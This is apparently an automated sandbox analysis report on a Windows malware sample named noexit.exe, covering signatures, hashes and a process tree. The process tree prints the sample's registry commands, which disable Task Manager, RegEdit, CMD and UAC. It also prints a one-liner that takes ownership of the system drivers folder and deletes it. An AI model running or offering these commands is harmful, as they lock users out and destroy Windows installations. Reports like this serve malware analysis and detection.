Analysis

  • max time kernel
    109s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/08/2024, 22:59

General

  • Target
    noexit.exe
  • Size 2.0MB
  • Sample240801-2ykvgavhpd
  • SHA256 23a2abe7ada87655567f1439ce564841ba76e3ea3945b1de2439c04ed7ea262b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Possible privilege escalation attempt 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\noexit.exe
    "C:\Users\Admin\AppData\Local\Temp\noexit.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4080
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\windows\system32\WindowsSecurityIcon.png" /f
      2⤵
      • Sets desktop wallpaper using registry
      PID:1500
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
        PID:2456
      • C:\Windows\System32\reg.exe
        "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
        2⤵
          PID:2936
        • C:\Windows\System32\reg.exe
          "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
          2⤵
            PID:368
          • C:\Windows\System32\reg.exe
            "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
            2⤵
              PID:1384
            • C:\Windows\System32\reg.exe
              "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
              2⤵
                PID:3660
              • C:\Windows\System32\reg.exe
                "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
                2⤵
                  PID:2072
                • C:\Windows\System32\reg.exe
                  "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f /f
                  2⤵
                    PID:2660
                  • C:\Windows\System32\reg.exe
                    "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent" /v AccentColor /t REG_DWORD /d 0xFF0000 /f
                    2⤵
                      PID:60
                    • C:\Windows\System32\reg.exe
                      "C:\Windows\System32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableLogonBackgroundImage /t REG_DWORD /d 1 /f
                      2⤵
                        PID:4452
                      • C:\Windows\System32\reg.exe
                        "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                        2⤵
                        • Disables RegEdit via registry modification
                        PID:1252
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && del /f c:\windows\system32\drivers\* && exit
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3888
                        • C:\Windows\system32\takeown.exe
                          takeown /f c:\windows\system32\drivers\*
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          • Suspicious use of AdjustPrivilegeToken
                          PID:844
                        • C:\Windows\system32\icacls.exe
                          icacls c:\windows\system32\drivers\* /grant Everyone:(F)
                          3⤵
                          • Possible privilege escalation attempt
                          • Modifies file permissions
                          PID:3432

                    Network

                          MITRE ATT&CK Enterprise v15

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                          Downloads

                          ౛޲瘚⍮壸嵽᫉㱶秽lm乲⻀

                          • Path C:\Users\Public\Desktop\౛޲瘚⍮壸嵽᫉㱶秽lm乲⻀
                          • Size 54B
                          • SHA256 ef33ee801b6d602531fbe4f38c356160d90cc494dc7a6a30e060639d74fe068b
                          • MD5 SHA1 SHA512

                          memory/4080-0-0x00007FF7BCCB0000-0x00007FF7BCF85000-memory.dmp

                          memory/4080-300-0x00007FF7BCCB0000-0x00007FF7BCF85000-memory.dmp